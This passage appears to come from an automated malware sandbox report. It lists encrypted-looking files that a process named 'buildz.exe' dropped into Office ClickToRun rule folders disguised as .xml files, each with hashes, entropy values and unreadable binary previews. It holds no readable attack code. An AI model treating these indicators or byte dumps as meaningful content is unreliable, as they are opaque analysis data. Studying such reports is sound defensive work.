Preview:	.<?)..r.../.7.0...ZQ..!{....4.....i .C...Y...).s......g..n~-cK.8tY.E.X...\|P7.mq.\|(.n.s...A.7/.....Z.P..f....6]..7..[v........%"...Y...+46......._..[.n".;\|Z..A.5.@.4...i..4.B..w.8Ds..... ...M...NEo{............B.NF........._....U<..p...I\|.....}xS.....M...@.....F...K..s#......&.,..^..j\.63......O.t.c8.X....>>.8.......uj.('..............dG...8..V..r...V..2[...._dl.....E...e4..;..w.J=..Y.Q;%..U.C.:.!../.x.}'.....o.{".Js...rvc.....D..e.cL..C.U.,...p..\|{1.BD.A.b.J..ux.X.C..hi..>.......j...,...'.[.......he.y.....5t.3.....Tq....... ..Fr.b......=\...3."g..A.S{Y.......o6.F}&%........r.\|.X.AyV}...[:N."..Fd.4g.J...V...L4..$5]...-..P6...Q.......D!wE_../.....s. A(..z....;..^..?...I...._[?D..d.h-h.y..7..G.Rpk.A...FM7..S..).v<..9Y....g.....A....2.+..D.!\I...9.-XW.E..q..^.....OR.M.....+O.{.p.Z...Om..B..Q.!.9..Mu.P.,.....v.L. ...\...{,.e..z.Q.......M.f:Q_..L.H......d...........=M.O/A.U.L+Y}..>z....4...^r.2......{h......y.F.V(O....7ruC.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.877575814708157
Encrypted:	false
SSDEEP:	48:Ibr1WM8gg64+9ONANnfxCCUbm7dzrzd0D:Ibr5g64+9ONANfxHpPzdg
MD5:	93801D6837E197560B4E3DAD9A511C72
SHA1:	93C81E7A82D69B10F322243142DE82E42CC228F9
SHA-256:	8C2DE139707BB2FC06C98EBE825A23D2F03A374BFE13E31312507A270F05474D
SHA-512:	EEA6D90626EAE816CC7C176D800094948512FE1208FDE6C43C105AFEBA0FAF780AB2AFC7487465BAD79D5B1848CC26898817F412AD3EEAFAA09244648C88F310
Malicious:	false
Reputation:	unknown
Preview:	.<?b.q...4=Cucsf..........+.1.....n=..N.z~~o.....A..\|CwF.I..X...U....\..f...Q.r..P..V(..c7. .(.....:/9...c.}........B.._o...[......"...Y.E..U.C..E....>...d.l......C.b..=...M...`...".4t.G..y.{.0...g....f.H..iY]N...KD.i?..4V..!.A6h..1.......I.-x..#r.S......I.L9.....]^.d..O.<..........v+..r...I1.o.R..E.a.g.`r.....C^...0........U.....&3.`.. .8. ...Vx.y..I...O.\|..{;....n.\..H.Z...4t.h....U.\.Z....Jj$.x....L.b... .DNY\|.......9![=..P....J.5]....!..$..9...........}.R(..7m{..V......j7...K..al...j}B.e.C........>..cq'..J..A..^=...U...^.....K2....}mY.j.t?^...z..$.Dl..%..r.Yn...6.....9Gf.n..dJ.n.3..n.=1.)b...Mi.c...M..a'gc..T .[.Lt>.,$N....A.o....a$P./..p.f_b.....=XT....,...a\4PY#.o......~.....rDaP......+Id.....uW....gih.....9...+.......O..).o...\...s.i...w.k)#....G.2U.N.k.&..Z.A:O2lJ.Z.h.......D.Mk... .n.L.....^V.}.WF..u./.A2z...JVu.?..........v...4.....]...R..X.w...]!;`].o.1.. ...H.S...SL..K...w.;y.Z2%a....L.LB..T.......1.6...........>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.90228022280296
Encrypted:	false
SSDEEP:	48:UwvbG6ahKUPEek8GrNuZlXc3c9iHH/KSLnD:diEUPEek8Grg/M3nZH
MD5:	6B5BECA8CE50A179E11BD57B9ED59F1E
SHA1:	57895A97D9C752BDB5BE7F45411B194E88BE3F89
SHA-256:	F62B399FA9DA77184DAB0305730E7F55DB260A7195A03EC6A71541292B81B249
SHA-512:	A920FFF2DEB10E1068B10F7E8DAE73FBAB0A90939C5CA1EB6CBC413092008817E3C3028547AE78D60569A5BBE0AA3EC92C20DC30AF1DE05D7E38F31E04D19AD5
Malicious:	false
Reputation:	unknown
Preview:	.<?w.6Q..F..R...].3P.2.e..+...j.=z.....?.....$.-.N2....@..p...M.%.XgE...c.mh...O..^B64.bin....b..<..s.d4?a...~B.kH..l.ya.EuX....vk?.$....\|...5.lw}...W._.....#..6.bZfa"CHjK>p=..W2$....i..(?X.W..[...4...r.I....>...q.......K....Q..'.q.r...........b.KM>.m.=3....z.n.x....4b......Zb.~J..<...Lm..s._-..zS..g...Ohk...CQ....G.`..0..hd.).x.Z...].E..Pr..........U.-.;....Ql........../..o.[...&G..a>.l.p4..&....."RS.....=.z.....e0.%...M2..wy"....:.....5..Q.=..fe.Vk.dV.:z7....\|.N..\.<..Y....f.) ...2.QX.n....n.o'Z..Y..O.K....s..\|....ho6(.t..^vd...B5.n.>...rE.y...G.V....K...._..M[M&i...=C..J.uv.Ni..s<..w.cu...........j.....'6`.2x...E.L-.....1.e..Z.s.1.W.4.....I.'5o>..~.^9e.=.F.L...$...b,<.!._.{.e..)._R...........-.A.+7z.9pWh[rxIY*'..w..8.C.a$.GZ..p..d....>..+../.g.,..<QC........(e ..w...,...........:.._9.......d.......`..G.,.......5...2..j.t..Tr......a.U...T..4....ja..<K.`.O1%D<..C~....\|..uG.yD.@..V......-...r_..`_..9.LU.wG.g.......O..=.i.o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.8811105046044885
Encrypted:	false
SSDEEP:	24:++t7SuDJG23KRaLn1IkmXbnELU5oq5haiCVcSK+2lsZ/2KBvafzvs4Tiy3syPGHy:+a7dDJG2aRapIaLMlhXSK+BB2cvJkKaD
MD5:	ABDCEECA53E14636DDB63E3FC8CFE116
SHA1:	130B13DC355450215BF7EADA68B8D1B4E47C05F3
SHA-256:	5FFD1AB41BE649FF4A67B91708F2C1CA08890B878C4F8133DF6168FB1D6B73CC
SHA-512:	00C38ED01F9A736EFD0BC02A6B1FFF490B4C08B10A0022365A95D806E30E6AF5C723D7BA3E7B5FBF3FEC45B205CF89598A0EFC34B8ED23B4B837060B1BA2FF17
Malicious:	false
Reputation:	unknown
Preview:	.<?..g.E....{z...pZX...Q.3.TX.<..LP......?f{..P.-4....R..(;...ri....nc.$"..\|.dcT..^wi.N.6}..l.>..u..aC+Pa...Q..Z..r...r.S.. .I.`z...q....<......r.g...^.?#.Q..G.F.}.f.<.%hQ..#.?....t2.........$\|/...jm.~..I......!..\|....u.=.E:X^.7..G..X....p..&v.?.%.).._......? ..[.....B..W]&.+[.xD6.,.H~....8D....rB..S.Q...g.+..3R...n.j..S..sO.f.6.<...6,...g}....'N.......b....p...).t...$t/.Q.N.7....W...<.f.L.y.[9e..7>....8.7}..8.h..j.5..(.v....9+..J)8...#H2...$'z .....]W...CJQ.X..I/......Mr.5.G.K.0.@Cz.....PM.U..K..e......L..NW.._..K.....X...[.H...I.+F1J.C....D..:..bnU.#50.21..M...t.....`.H.0...%. ..h.aK@.E9.g..6..9...h.?..Ts.r..."4.\/..G...g.....Y.D...##.._..{\|.ia7.F.8.G.kE..68..G`.D6...n1.....c.Z..o.A..h&.~3./.....-w.K.........i"^.).v7...n..7...(.a.(.......g...........>8....j.....8vZK.=.w... B.. ..]5..'\| ...X..M.......{.............[A..k...G...;P..rC.L...@.9.....(...(....Z..w{f....zS.;.kc.oU...$~l.(.)./..l..O.3...$.e.M%..5<%..z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.878631559070272
Encrypted:	false
SSDEEP:	48:hiKpO91OBhpreYHZNFsD6dXHW7UVA3l1vD:hi+O91YprFFsDIXc37
MD5:	2FC33F7BB9007463E7503C05BBD6079D
SHA1:	ABD393B8A87A761E02BDAD23BF560B9EACA480BA
SHA-256:	F0345070D03F3FEA9EE7730ACF0F90F87A4EEB79FC97DE1AF09084D62D5D4DC7
SHA-512:	7FCF6FEA2522ABCEF3010ADB385166BEF006517806437D4E60A267EBA1348267D913AC68F37B23E8B9FFA92B0EB9D0709956AEAA5AD1DC70DB2DC22D6EEC7ED8
Malicious:	false
Reputation:	unknown
Preview:	.<?M...]....X....9z.f..Ig.-............d.FE.....8...E#..E.}h.A_~2..g....X.....6,'...]....SF5..;ip....)A........]......\q.KF...:g.....y .Fs...l.dN<..t.9..].b..=.&..C..o.D.c.9..,......_W\rB.Mj.m......V...>._.j.}.%......zS...4...T......... .S....c..q..... K....0@0.P.T.D..n[....q.....I. j.,..17..IOy)Vu;._.5..@.p.e.T..]...v&R.'S...&1.]...T#.f#O5...:O;#j...........C..=.J.!.\..8oY.uW.."..qqS...&..=.6.....,[P2z.....R.._.....lF...P.K.?;..v.......Q...).'y......hPu.......i.3..#.G.'...^.._....A.....`.....,..rh.7W%.$...S~2.F....fnE..yz.2.Q...s.j........y6.Y..9S.."...I/%..j,.:....R...or/..h.J.5Z....9>......_.._....m;.....^^....... 8.......,..~8..mA+...+{.[;d....@. .a..O..z\......Q.A).....y...V....^........N....K...F.m..I.sm.q....>z...e_.Z-)..^...p`0..0..-.{.....N..9....q.)...#sJ......vo}...1+..$}.0?WU?..-~.Q.].T.....l.d.vw.S....pwa..cwZrm......#pm..G.......\!.....k.".Eo......c..Y5{.G.e..\.`......w.zy....S....\.-f..J..].w]K....X.{R...K>.~.....9.-.Vz.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.885466313594784
Encrypted:	false
SSDEEP:	24:Iiym0OlWRXxEyHMb8c5zEmwIhfNgplvkZATC0XzNRzOe6K015e5nRR2eyoEI5C5Z:Ym6FMoojhfNSRkoL5nRR5ybBnOsMltCD
MD5:	9EB2DCC9C4A158BBE583131AF072BA03
SHA1:	57D5E92021FA94B4954FA883B41A9791A4F48B0F
SHA-256:	C969A1918318C7EC213A96DC6C5AFA76DC856EFC5043461D526613C87D58D776
SHA-512:	2CF4423B2BC0DE9AA9314173F84812C69A626A272ED2FB8AD22F2690D654DF75C5B96ACB135FF625FEF7C265F01915FBCED1FD056E7EAA2E247A292B14342FC2
Malicious:	false
Reputation:	unknown
Preview:	.<?....$O....9._%k.........TB.."t4.E.a..S:k>..+.........U[;.....(..-'.]...g..HE.....(.}..w.K=dp..d.L.YD.@....w.....0..o,..o4O.......2.........;K..#.y\|.,..+..b..K....G.I# ..9.Nek1.0.ytf..?X.G.o..;.c.s...t..?=!......O.g.x..M....Y.1..j.A..!..4....+...ap;%y8...."..\|.a._......@. .<..c.-.e.x......E.~.<e.......U.\|...j.h.......bq...R%Y.;...d~.._.z$....l..../...,..<........PE.@.....T..M@.;.A.V.l..".8....s........d.@...2...C..b7.F....Gn.....3...P...&E.D...z.....[.U.\|X........$.}.e.gn....c..:..s.....]uR_.7V.G..!.#.+..o...........,O....!..s.$[......E.&.l.wbA...?.[.o;.x...V.7..R....gS..y.;..~.eZ.....Q.........c..%..M....W2k-2..D9.jK..5_..{..K..,H/.Q.......f.V.!}q<.F..[.xJ.d:.9..50..5..K..b.'.....:k.'.+.)..Bd>z6f.h..5.9..;h....PupZkI.1..x...'......d.3.....z..s..Y..8.....<.9...a.j..B..7...$.8cz...VUqp.%....0AU$....5O..Z.m.....l.s.,.gsx.S.e0.....O.F.<8."'......._..}...}.P..#....Y.P.....[.}...hJI.".......t\...l.....&4.{)@...)......y.`..w9.%.}.M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.874639596256347
Encrypted:	false
SSDEEP:	48:qifZPelkuTgsYWatN9JhkXP22d7KRO9FYXgSG8D:qiRYTjatzwXP4ROXYXW4
MD5:	6F2C3C20384C85286116B0DBFBC72210
SHA1:	DF21BAADB8E046421823F79AA65507542714F20D
SHA-256:	BBB0898E9E63C061786FA023B7AC20BEDA29C76CB43DE852D9DE5383A69A1A88
SHA-512:	8C19BEC9C078C3FC1F7E9D7B86A3F8E57D04630D10B1BBED58E0606783633CF0F76044D98B003A957C908CA479405DDF53678B90BC5D834C442F432FFEB59877
Malicious:	false
Reputation:	unknown
Preview:	.<?..n..R..a.Ok.\.RQ....b:..dEIy........^..e1...8...>......Fg.X.........B...V.T.yf...Z\.j.....v..G........1...!..?..(.kt......}.;X..L..D..S...I.{....K{){#0.s'G..!.=..$.....6."l6.&87.f......N...uS0B+..a.N!a@.z.....W<9.....j....Qsh3.=cj.....L.;.....V...h.@.s.....%.i.y&.\.O.....H.F..-...Xi...bPw..F"...N.f.......%..`.....V..Y......Z.I....J..@..Mb.)...7.#..,..?cJ.....&^.u.....`.H....@f.uZ.N...V.......pt..T`k.....R.h..\.%.}Y.P..K...u....B....t..2..PJQ..\|.i.=..m..,7.C.u..eNv.).X..:ZL.q.[....r.Vqn.T.+m......f..E....S...p.<n.f.oak.....Zr..8..p[kJ1.. ...i..yEax.bFA.C.....]...>...0.g.7tX....{..t..rG.(x..U.<O....~....a..\|.x....k-.Th.p...].j.#..t..>?sV..$@....\zW5=.0j...{<2.`?.3..lP.s.U.nDD...g~..g...o.8"h....{.....7......D.<...DeN.7L.W0u..Kft3.A+p...!..(...Yir.5....<y).:.@.H.f}.bu.d..0....7... .}&....r.nu...f2E...q<...%....o0...%...G.3...8........Q.N.X..h.h.XC..6.r..<......?AC...Q.y......U..+1.?N}.7n....y.;i..Q8.....Q..Mm.$..W....I..W.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.900024480903658
Encrypted:	false
SSDEEP:	48:M/M4ZIUWIMDj00BQdSH3unQaK9Kw+63HC9W0mnH6D:M/Vm99DY0BQoenQZ9KU3iM0uS
MD5:	168AF86F5A03ED85745D7484F1976E2F
SHA1:	BAD19D7B8B5FF7B503B34A7903B3A2925488FB52
SHA-256:	DC6246261405BE1998CEF00DC251FEBE307455DF7A639DA1643474F787A89B27
SHA-512:	592C4FFCB34F2C36EB55FA41043871869DB1E96876DE1CE31D4948562527C5746B355B3F43BA43CA837E03D18F21400F14C66FAE89620872DAAA00150665E800
Malicious:	false
Reputation:	unknown
Preview:	.<?.<..,....\|$.....h.nPM.)j................Fj.....L.qf~.!.:.(.+:.]M....;......._1s..Yg.)..=z.P.P.tB....;L.KOi..m.y.["...U..{...A..i....%#l....:1n.m.y....{t......._..7.n...w..........Mi..{.......w.w......5..\V.^.1....}L.C..Q...........J.R.@.-J.+..........e......~..:./2. 8..T..z..@.I.,....9.g.k%.2,.m......;...g.a?..........e...@c.7.........+.c..EJ......w.....1......).[....c..D..>N...@i.z........w...f..qx..K......f........P2....P.D.....qD.W..`.P...o&.S.]8....6.0a...^.h#.B.OPD......ukmP.....k..(u.Yq-.=.: .?/.."......09.<Pp.&....=_E,u.Q.!.H`7.+....6../...4f.....O-yD..'c....B}c.S.H~^......2...K`;=.c6..K....( o.u..5K-'A....y5.sL.k[9C...,.Uo?..h..T.z./..G.3`.dV.Wl..G.Oo.z@CB.s...O.Z....t!...e8.....;...&k...0\|...0R....#..K.....hK..X.....Q"[~.@.....#.>v..6....j...I.......IN`..c..y..G[.L...s..?.].v...Z........%.^.puF.f.d).Bf.D.I.Y..2b.S.....C.X.%.&=@...Q,......4..n.%b.O....~~d.4Rv...#............4?..9h.S ....H.VJ...3S.2"L..I.....-04....$M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.891873831705616
Encrypted:	false
SSDEEP:	24:bCRe9V7Dc6Ag+A5SHhwWrrxR00XPN4s8NJQ9wvWhYvvuAiZkoAFTAW2xad4ZUs/l:bCcF8A5SHC8rn00V2JNwYeAEVW2xaq1D
MD5:	9BE9099B6A9DF0345A25D13B88D1ED6C
SHA1:	571EDCE62B14CD8346438EA4137222E898D23DED
SHA-256:	EC0FC5C52513D79575E0CE267802D0391D6CB18EBEEFFD4E109F8E652B1D32CB
SHA-512:	37059F7E63FA797FB9B5662CC1A4348597FD3677A6D9CCE63D52A290B0FE668A2F7EDEBAB38329EDD6AAE527D354D59C8CDFEF3787A5045948F26BC2B688F55E
Malicious:	false
Reputation:	unknown
Preview:	.<?....\....#...F.L.Q...O..9.a........E&.%f......c...Iu....%....K0.0.Y.......q8=%.p....;..E...U.....2...........-.....X...0...C%.....~Q.G.n.1.....j.z.v.:.p....%)&3Gb.vJ.....D.F..z..\|k.\BwF./\|27..-..U..#.P%V.T..5.Z.s.\|.$Y..8..j.,l....y2.KM...\|...8s...4jV...`.Q?O.).&.8S.1f..... ..[5.....`.&...!t...L..%.S.sl.I3t..}V%.R.e][d...r.cx}........D..\|..m^D.~..V=..g...x...\|{..S,.!.-....#Vh..^..r.L.$`R...6...........9`X.&,N.....(B+w...#.\|x.7=.}S&..KFT...b..'....6BxJ.ae..m$tDp_6:^...}.%s.H}.+.m.W@l..D.AK.YT...Kw... ...D........Cf.Z..p^...8...t3.0(].v......7>.....r....t/X~K..CN..O.t.o.).........8(.........sh..p}_..>.O....^.r.I+p..E..j......q..........d....K8..........'.V.g....M..`..8..b.....B..d....Qb..q.2..o,.f.K(}0........_.fY.9..<X.....6.....+.(.M...9\|....Cs.....Q.N^y#H...........e.....<......Q.....^e..L..V._..K.......;......a:k5....4.NdF2..,..]..$.3/.k..z>aX:`...b....[lt...d..._<o..d...q..E.T.LRW.s...D.#..s..f#fz.........JN7.>.dm{..SU..w@.G..)W..v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.888920268658736
Encrypted:	false
SSDEEP:	48:GtybMA66If/qzyG4EqTUCwEJg5D1FFVeQhkSpQDFXWD:JIT/sy/cf5D1jVeQ5QDFe
MD5:	3AD82E168C44AAC5A1586D40C27AE759
SHA1:	005333D12971D9D45FCF54DB02535367F314691B
SHA-256:	4EB565517153DB615621DDFE50C968A11A6432515FD30AA2B96C8B85A6ADE4B7
SHA-512:	544304DAE36EAEF48AC0656452B970DBF5516CD2B8BF02AE016F315CB104C50053665E23A7D7467486D6DA9794A3CEC49C1B21098BA4030ED6D27174AC6BDE8C
Malicious:	false
Reputation:	unknown
Preview:	.<?.\|F....?D.ObR..c).K...;dH.a.ei.\..C.>..A.....d.\|q...#\|. ..u/[J.....'E.L.....<...BSK..d.v.(.o.V.=Z.z..W..+V..\|2......g.........n../..v.;...W.1]$.K..5.$M.,E`.I.3..sEKEe..).....A7Wj..7X.....e.(.%14..v...1..1..G..t..h.l'.e..A0......l..`.....S...%..fV......tC......".'...3gv6H......o..1N..J.e.<F.^.c.T..voSH..s........4...-V\|.wX......5Q<\|nDX.n..F.PG.......J..^CH....k0Kq.N;&Kw......Fe........5qO......<.Y..M...g.....vYf.....&eW.:.[.1/.-...%.!..:..#.....7~...s..pEFZ.?T<m.\....B.a....vT{.\4...............u......:.....Q..u...1Wu,....;.....f...%.L..n.cK6..._<....^.Ba...M..'.o.%...U.......Q...Y.......e...$i......#W.8...k..K.Z.yDG..U..KN.`.q.#....S....3.R<..D.L.(.................F...2.. .M..s..j^..$..m..p.......6.$N.h. ....Vt.a.-s...Er\|.v.Jz.p....u.V..........Q-.p.......24D..5mP.$.3z.].s.._....Z...aB..w.m<l[...U..xb.U....:.r.;.~..Mj.\zP..D\...1c.cg.{r..).s9.y=..s.9.qJ.}.E;7r{!.8C.Z..i..wF..b.}...$k...^'..>.!d......B.q...:6.1d.....a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.884074360317351
Encrypted:	false
SSDEEP:	48:/N9mXifQz7pIeq5GpobpWadsUYR59Q0qxD:/f6XM5pWa+xR59bq5
MD5:	41320454E9A2CCB44BA6EB1448EE1084
SHA1:	B6D61585345FCB74F060EC56EC51BF1BDF9D65DE
SHA-256:	156940D9E515BCF7D83C20F776E6B8716E8FE0CFDDA9CB306137B8A9C96EAA69
SHA-512:	5D4D6D1023FB5D57D90635C8CA3EA9C58AACEDF42CDDE9FEF3FC34E33A5902F42E6A300339AB05BD678B0DC4611816560ACABB5414FAA9C6B0960FC53FDDECA0
Malicious:	false
Reputation:	unknown
Preview:	.<?"?.BU.-....7dd<N...R..y..F.#...6`]..J.#..........y......y..O.7T..lS..9.Q.y...{...9?..$.".Y.\...g<....7.s~r.I3s..x.@.<..En.x.j.q.s#..(CM..p..\|g^..3W....'..G%.......@D...4MME.K.q=Y Kx...Q...T...wB..Aa..L......T.Z`...B...N..._.^.Z........M'......\|'..g..&2.2.1)...rV..........k....HO..cM.V._.Km.._k1.gZ> ..4..H.:.$./:.vL...smwf#.-&].)....0..........nuM..........aoe.?......&cJ..4E.QQ.C...Z....t..'..).MT.N^.#..s6..+4NL....V.g.5jaJ..-LJO...F.lD.O.`.Q..DY.u"... ......g6v>a....e.o4.D...P....X'-.4;3....xa.!.....mB......c.GB.,e.{.C.mp......~.B3..Y.........w.L.F....J..,.k........?z.....5..)..\|.+...7[.+.qH.i.. .r..REe.....C......5..G+..{..(..$..>.Z."....J......).n.~.K.k.^..B.?...m~.......&I.:.../s.\>..^9a::}.1.Lm.B_h.!...NN.@0...[^4..6mg...?`.Hv...N.......#...._.m....n^.9R....4...Ys...v.6.p...y?]..p..aOZ..'..<"H.D1...\M...O....e...........q....R....+..!.w.T..u`....n_.r.tkS.... [z...Am...S..X..z..WoH..3........Y...y@H..;.U.ob...b.5.D.G.#.!..(:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.890081049656785
Encrypted:	false
SSDEEP:	48:7yS/UDiuQTY7+roPPLdWEy7IFhlyLM5fITpD:7ysUDi1T6+kPPLy7IF7B5AF
MD5:	281B3A32A11DCB6F9A5F51CDE2D16AF7
SHA1:	DB3C68E1095B4117162DB4A7DA98D3F7F2984E67
SHA-256:	440BC81BFFA683605E41C20B7F63BB8686B8B661E62B76069A37A164AE423517
SHA-512:	F0DE68D31CF04221F1F594A91DAB1F50C21278602E64D0B6C8B94BB5ECAC1B276A757A1C62B012F89A2E69C16637C01A131AA35C15A284D3292975F8C009F293
Malicious:	false
Reputation:	unknown
Preview:	.<?..rF..._...b.@2.E.....k......s....pP.....{.w....Y.b.iL.....3;...0i... .9.`.i\BWTy..........b...../.S-].J...q....Ku.TY...h.H.G........%]ny.}8....?..?.b.b."_.F......6n.......H...#.kL.8......t!..H...{..3.=.......R.......`...A..=!@<M..u@......f.......#].H.7..f.......!...=&...l..op6...".../=....x.G..vE.Uq.C.1............>...1.TT.....'7n..../..l.[..{...\az+.?.b9?/b.....q...l...z...)K.C.............&.V..w.`.l.5..p.4\..s.P......R......\..O.:....\|...h.]..j..w.X..............(a[w....~...VQ6.....8....../T&c.O....=......mY.......(...<..........,......&..Z.....Hnj.$8..).h..vn.@.o...3\|".)@....a(...`...2....i/..t...O.8].w.(.1...L.d;M.w~..ci`....R.G......E:-.V$..2..6...RD.{.e.(...c...D.....@..n.bM{.....Z..........=.)6fjv<.\|..Z..._...... W."..c..C/i...5........+...oe......+h....<..{z..n...n..D~..X8l.`..{..(....M....okExa...D\.i..b...5....j.c'f9..N........J...Y...MP..'Z.}..V...]..\|No..Y.7A{....IL..A......+3=...k._J...&.$,*J.]e.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.867611623117724
Encrypted:	false
SSDEEP:	48:KFIfEDb6yXqlS0o1FIb36O94KBLbD4LaeiaW5zD:gxDOyXq4q36O94KB0LSJ
MD5:	A1D43129A5B8B98831739618029B7D8D
SHA1:	3FE2AC1D47B9F39634E4CC693AE5847DA14C62A2
SHA-256:	1AF8AE6CF76869598BAB28545164E30EADA56F3908A487816E114EA57BEDD669
SHA-512:	B81F2484237C16F6072C5745FBDEB24F5BFA71499C59725EDC74F3BCF61C1E13174E3EF820248DF311A631949D1CABC3838C7CA0FC65A72757A6F274E2078B20
Malicious:	false
Reputation:	unknown
Preview:	.<?...............^...k...J\|...Z{E..(S.5. .....Y..!.[./....O.[.........Mi.......J`....ae;b.vP...a_;\/^...:{..+R.cf....l.kV.U:...}..#.L.,....G....J/h9..NFO.0.\|..0.d.kBQ....?........n7;.vH.?....zJn.U..f......=9L...f2v..$Yy.s:..=.{...Apr.a(.8H..........<..C.v....C..=.._..(..}...m0./..a.7\|@....U.,:^..:.....).K...h.-91...).~...;0>+..._..a5.X#kL.u.LZ........8a...../WJ. <H0..E..O..6Uc....^..3...![.6'.MB.m...,..G.....Av.Nv..%KH.r.>.T...tp..[e.GIU..._...7....G....lp&.3f!h!.8...F#...B$].I......T9h.>...'-K\|....O..zK.HTM\..(v......'.+..-.H...t.T...J5..a...:.&X0..I.&......r6.V..2.4^..v".,sU.}.....Jv$.bP.`..D`)..0K.t.6....I._....N.F.1.H<$.?l........#.....Z..a.. ......N.+.].Y..;..4...WH.,G.....&y......n9...-..([Y...G.s.r..1R#...:.........I\....J+.....+.)k.H4..:7...25._^&.1......8N.~..s..7....l..9.B....4..Bi.....H.Z0`...P......O.E..6~..?.4..ZL..8..>.....1B....FT[kA.../..&I=.,SS...b...t..d.......0?].-....@......G...w2._...2....Q..p..'..O..zl)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.877211666784946
Encrypted:	false
SSDEEP:	48:RPyozNFbuHBaD7+dRqfUFoIr0jdR2r/qOWN5G5b1MMNs8IFN3wEmD:RPyozNFbeBaPaqRR2AN5G5bTNsDzv+
MD5:	AD95BC5762F69DBC2B6DDF72DAF45F09
SHA1:	030FDDF990D932CDE2E6FDECAC76798292EAB071
SHA-256:	9D666B7A9EADF67B2319DCDD6C42EBD17B820CF8DE2CE2CFA305BA611FCC5FE9
SHA-512:	6079F7D68879147AA8CD1B0A349586CAA0AC8867D5AB498C6A95D65D99E7625F7BEAB751F61489E9AA753D0B2696C90B96A7F5761A656DBD145D2B3F2FD8C48A
Malicious:	false
Reputation:	unknown
Preview:	.<?.D.F....W^...S.z...l.s.F=..% ...+...z.....]...hj.W..$....O,/..kiXi...8.Fw8.....8.i...5N]F(ei.K;v1Z.l.YVv....R...._.k.2y..Z.d3.^.t...<P....G..>.>.2...w`j.D.)...S...HC...{O$..V...k:.yw..T.X;...$.-....mF.@H.+.........'..tql.6.U.]1.w2.....T.....e.h.....C{$.z.[....s....2m.2........v.g.x,;.q.w.{..7.h7.$..Ci.Z.:......MX %..Q..q........\....t..?.&.n ..7.t\....(.(..ZH.j.".3%.m.'}i..(.d..(...y........7^...@\|.H...6MY..wb......#...z.yw.J....'.....3p...o0..Y..p.R0.d.hi.na....@...../^..dAV"V.G.B\...l...K,d...aAjHs.wz.l.C.?OK...^..X.....G.V.{......(..<{pk.[}eP.v=8.\i.....v..m$..[...Ua...}.....O~..<..m..... p......$./.S.x...........PQ...B...r8.Y.4A...e^AX.......8.........a...A}`......Ye1./...y.p'0.~.X&..'.5...G.l ....X.;!B...Z......o\.9jR..,..I..:b........K.,D.P....9.[:... ..{i^.}+H....9......BC.:^w...2zRP.F]+.}.t?.P* .j,{@.$..... Wn...P...E[+....4...6.f?.....o0^..%.;6.N^..$...F..aUD.=.....=RP7...j%.~......1..."S.....=..s.........,...@#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.880442653214606
Encrypted:	false
SSDEEP:	48:bY+59sRUO3grhtSF9/dnM9V24tnFZ1g6oFq9mEED:xIRTASFLoltF3g6oFEQ
MD5:	2C9A5311D114E0611752F25F987476C6
SHA1:	1DD862413E85B3A613B84F94B5911B7F4505B218
SHA-256:	5279F26B8689CC3F89D04BED21F714D49CA30B27D0782F4F95BCE33A5DBD51FE
SHA-512:	1FCF8C69EB2D8FCC2A10F22EECC9F40E39D7D54A003DE4BFCB115D8383C5D29FC8FE633C665CC7D41E0F637A02B3DF4FFECBD0E5BE8733479EA00F3666850F9A
Malicious:	false
Reputation:	unknown
